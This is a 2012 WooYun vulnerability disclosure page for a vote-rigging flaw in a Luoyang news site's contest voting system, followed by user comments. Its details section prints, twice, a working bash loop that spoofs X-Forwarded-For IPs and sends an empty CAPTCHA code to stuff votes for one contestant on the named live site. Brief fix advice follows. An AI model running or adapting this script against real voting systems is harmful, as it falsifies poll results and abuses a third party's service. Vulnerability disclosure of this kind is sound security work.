当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-05285

漏洞标题：2012洛阳首届胸模大赛投票系统刷票漏洞

相关厂商：洛阳网 http://www2.lyd.com.cn:8080/

漏洞作者： mckelvin

提交时间：2012-03-15 21:21

修复时间：2012-03-15 21:21

公开时间：2012-03-15 21:21

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：4

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-03-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-03-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

存在IP绕过漏洞
存在验证码绕过漏洞

详细说明：

#!/bin/bash
# author @十三乙
# vote for http://weibo.com/1680241201/y9ZarqaHo
# http://www2.lyd.com.cn:8080/ph.asp
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
while true;
do
	FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
	curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
done

漏洞证明：

@李铁根 ： 越是身处喧嚣迷乱的尘世，越要坚持真实的自己。在这个去伪存真的日子，伸出你有爱的双手，帮忙在洛阳首届胸模大赛中投康艳艳一票吧。http://t.cn/zOMyhTb



#!/bin/bash
# author @十三乙
# vote for http://weibo.com/1680241201/y9ZarqaHo
# http://www2.lyd.com.cn:8080/ph.asp
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
while true;
do
	FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
	curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
done

修复方案：

验证码绕过：初始化session中的验证码、处理post请求时判断验证码是否为空。
IP绕过：综合RemoteAddress和XFF判断是否重复投票。
可参考： 浅谈新形势下在线Web投票系统的攻防(1)/(2)
× http://blog.mckelv.in/articles/1114.html

版权声明：转载请注明来源 mckelvin@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2012-03-15 21:43 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    胸弟,洞主,你也找个长得对得起观众撒、

  2. 2012-03-15 22:33 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    还是顶上去害人吧

  3. 2012-03-15 23:10 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言，如此这般。)

    LZ赔我狗眼

  4. 2012-03-15 23:34 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    亮瞎了

  5. 2012-03-16 01:06 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    差点蓝屏..

  6. 2012-03-16 01:52 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    @mckelvin 洞主，我看好你，你太强了

  7. 2012-03-16 10:12 | 瓜瓜 ( 普通白帽子 | Rank:173 漏洞数:25 )

    洞主....你厉害

  8. 2012-03-16 10:45 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    LZ是这胸魔的托？

  9. 2012-03-16 14:33 | Admin 17951 ( 路人 | Rank:12 漏洞数:4 | www.wooyun.org)

    @goderci LZ重口味啊！

  10. 2012-03-16 15:18 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    我的钛合金

  11. 2012-03-16 19:42 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    嘿嘿，找到一个校友看了下貌似和我兴趣很像啊，求搞基！

  12. 2012-03-20 18:36 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    缺陷关联： WooYun: 腾讯微博投票任意刷票

  13. 2012-03-20 18:41 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    缺陷关联：（2） WooYun: 网易英雄贴可刷票